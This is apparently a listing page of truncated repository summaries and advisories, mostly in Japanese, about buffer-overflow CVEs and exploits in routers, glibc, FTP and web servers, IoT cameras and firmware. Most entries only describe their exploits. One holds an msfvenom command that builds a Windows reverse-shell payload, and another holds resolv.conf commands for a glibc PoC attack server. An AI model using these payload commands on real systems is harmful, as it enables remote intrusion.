CVE-2025-7795

CVE-2025-7795 – Tendaルーターバッファオーバーフローエクスプロイト 作成者 : Byte Reaper Telegram : @ByteReaper0 CVE-ID : CVE-2025-7795 脆弱性タイプ : バッファオーバーフロー 対象 : Tendaルーター エクスプロイト : リモート、認証不要 📝 説明 特定のTendaルーターモデルにバッファオーバーフロー の脆弱性が存在します。認証なしで細工されたPOSTリクエストを保護されていないエンドポイントに送信することでトリガーできます。 エクスプロイトのソースコードを exploit.c...

cve-2015-7547-public

glibc DNSスタブリゾルバのCVE-2015-7547脆弱性に対するPoC攻撃サーバ 脆弱なglibcバージョンを使用してローカルマシンでテストするには： user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf user@localhost:/$ sudo python3 attack-server.py 127.0.0.127...

DirtyPipe-Exploit

CSE 5380: 情報セキュリティ論文 CVE-2022-0847 Dirty Pipe 著者 Karan Vasudevamurthy UTA ID: 1002164438 CVEとは? Common Vulnerabilities and Exposures CVE...

CVE-2026-86345 389-ds-base: 389-ds-base: starttls plaintext-buffer retention allows on-path attacker to forge an ldap client's authentication result

A flaw was found in 389-ds-base. The server does not discard plaintext bytes already buffered from a client connection when negotiating StartTLS, allowing an on-path attacker to inject a crafted LDAP message that is processed after the TLS upgrade and whose response is delivered to the client in...

Explotando-FreeFloatFTP-CVE-2025-5548

Explotando-FreeFloatFTP-CVE-2025-5548 私のエクスプロイト研究開発リポジトリへようこそ。このプロジェクトは、FreeFloat FTP Server で見つかった脆弱性 CVE-2025-5548 （スタックベースのバッファオーバーフロー）に関する完全な技術分析、環境準備、そしてステップバイステップのエクスプロイト過程を文書化したものです。 🌱 個人的なメモ:...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 ビルド7 エクスプロイト https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 を参考に作成 ステップ1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...

exploit-foxit-4.1.1-title-bof

このリポジトリには README がありません。...

Learning-History-of-CFF-bug-in-iphone

iPhone における CFF バグの学習履歴 CFFフォントに飛び込み、偶然にもあるjailbreakからCFFパース処理におけるbofについて学ぶ。ただの楽しみだ。 それで……CFFって一体何だ？ 私の知識では、これはファイルフォーマットの一種だ。だが、Wikipediaが何と言っているか見てみよう：「CFFは、FontSetとして知られる単一のユニットに複数のフォントをまとめて保存するためのコンテナとして機能する。」https://docs.fileformat.com/font/cff/ つまり、基本的にはフォントをまとめて保存できる。いいだろう。で、次はどうする？...

Iot_Hacking_Camera_0day

IotHackingCamera0day IoTカメラ 0day AHD DVR ADN-448は、httpインターフェースを介した未認証のバッファオーバーフローに対して脆弱です。Webサーバーのインターフェースにアクセスし、ユーザー名とパスワードに大量のデータを入力するだけで、カメラが再起動するのを確認できます。 確認のためビデオをご覧ください : Happy IoT- botting : 脆弱なファームウェアのバージョンは、アップロードされた画像で確認できます。 PoCはこちら: https://www.youtube.com/watch?v=WCFKuvCplcY...

MicroC-u-os2-vuln-code-extracted-from-

MicroC-u-os2-vuln-code-extracted-from- FPGAベースのソフトプロセッサシステムにおけるバッファオーバーフロー攻撃と防止 - 第7回 電子・通信工学における革新に関する国際会議ICIECE'18...

cve-images

cve-images — 意図的に脆弱なラボイメージ 隔離されたラボでセキュリティ学習を行うための意図的に脆弱な Dockerイメージのコレクションです。nginxのCVE再現から始まり、脆弱性設計イメージ（DVWAなど）のより広範なセットへと成長しています。 ⚠️ 安全性 これらのイメージは 意図的に 脆弱です。nginxのCVEの1つ（CVE-2026-42945）は実際に悪用されています。隔離された/ローカルネットワーク上でのみ実行してください。公開ホストへのデプロイは決して行わず、本番イメージとして公開しないでください。各イメージには lab.vulnerable=true...

Remote-buffer-overflow-over-wifi_stack-in-wpa_supplicant-binary-in-android-11-platform-samsung-a20e

Remote-buffer-overflow-over-wifistack-in-wpasupplicant-binary-in-android-11-platform-samsung-a20e android 11 の wpasupplicant バイナリにおける wifistack 経由のリモートバッファオーバーフロー。プラットフォーム: samsung a20e。ストック設定なので、そのまま動作します。...

GO-2026-6500 RabbitMQ amqp091-go: Resource Exhaustion (OOM) via Unbounded Body Buffer Allocation in github.com/rabbitmq/amqp091-go

RabbitMQ amqp091-go: Resource Exhaustion OOM via Unbounded Body Buffer Allocation in github.com/rabbitmq/amqp091-go...

bigint-buffer-js

bigint-buffer-js [email protected] 的直接替代品，无需原生绑定 。 bigint-buffer ≤ 1.1.5 的原生 toBigIntLE 存在缓冲区溢出漏洞（CVE-2025-3194 / GHSA-3gc7-fjrx-p6mg），且尚未发布修复版本。 它通过 @solana/buffer-layout-utils → @solana/spl-token 被间接引入。 本包保留了与原版完全相同的 API 以及纯 JavaScript 代码路径 （toBigIntLE、toBigIntBE、toBufferLE、toBufferBE），安装时...

ALLMediaServer-1.6-Buffer-Overflow

CVE-2022-28381 ALLMediaServer 1.6 リモート - バッファオーバーフロー SEH ALLMediaServer-1.6-バッファオーバーフローMetasploit 実証とエクスプロイト 参照 https://nvd.nist.gov/vuln/detail/CVE-2022-28381 https://vulners.com/cve/CVE-2022-28381 https://vulners.com/cve/CVE-2022-28381...

sweyntooth_bluetooth_low_energy_attacks

SweynTooth - Bluetooth Low Energy 上で大混乱を解き放つ このリポジトリは、ASSET Research Group による研究成果の一部です。 SweynTooth は、6 つの主要なシステムオンチップ SoC ベンダーのさまざまな Bluetooth Low Energy BLE ソフトウェア開発キット SDK にわたる 18 個の脆弱性 群を対象としています。これらの脆弱性は、特定の BLE SoC 実装の欠陥を露呈するもので、電波範囲内の攻撃者が状況に応じてデッドロック、クラッシュ 、バッファオーバーフロー を引き起こしたり、セキュリティ...

AMSI-Bypass

AMSI-Bypass AMSIトリガーの一覧（VBA、JScript / VBScript） 参考 : MISC 104 - AMSI: 仕組みと回避方法 VBA、JScript、VBScriptでは、AMSIは命令を記録するための循環バッファと、疑わしいと推測される関数のリストを使用します。ブラックリストに登録された関数のいずれかが使用されると、登録済みのAMSIプロバイダーによる循環バッファのスキャンがトリガーされます。...

LogoFail-PoC

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 私たちは、テロ組織ハマスによって人質に取られたすべての市民の安全な帰還を要求します。すべての人質が解放され、無事に帰還するまで、私たちは休みません。あなたも彼らを家に連れ戻すのを助けることができます。https://stories.bringthemhomenow.net/ BIOSイメージパーサーエクスプロイトツール 💻 このツールは、BIOSイメージパーサーのバッファオーバーフロー脆弱性を悪用するデモです。教育目的のみを意図しています。 概要 ℹ️...

CTT-Vsyslog-Vortex-CVE-2023-6246

CTT-Vsyslog-Vortex-CVE-2023-6246 CVE-2023-6246 の glibc vsysloginternal ヒープバッファオーバーフローの悪用を、収束時間理論（α = 0.0302011）を用いて行います。33層の時間的ヒープスプレー＋位相同期トリガーにより、信頼性の高いローカル権限昇格を実現します。 README.md CTT-Vsyslog-Vortex CVE-2023-6246 glibc vsysloginternal ヒープオーバーフロー のための時間的共鳴エクスプロイト Copyright © 2026 Americo Simoes...

CVE-2002-1120

🐞 CVE-2002-1120: Savant Web Server 3.1 - スタックベースのバッファオーバーフロー エッグハンター 2000年代初頭のリモートメモリ破壊を、巧妙に細工されたHTTPリクエストで実演するSavant Web Server 3.1の古典的なスタックベースのバッファオーバーフロー（2025年のほとんどのバッファオーバーフローCVEよりも初心者に多くの知識を要求する2002年の脆弱性）。 📑 目次 このリポジトリの存在理由 この脆弱性が興味深い理由 背景と影響を受けるソフトウェア 脆弱性について クラッシュの発生 エクスプロイト 🎓 このリポジトリの存在理由...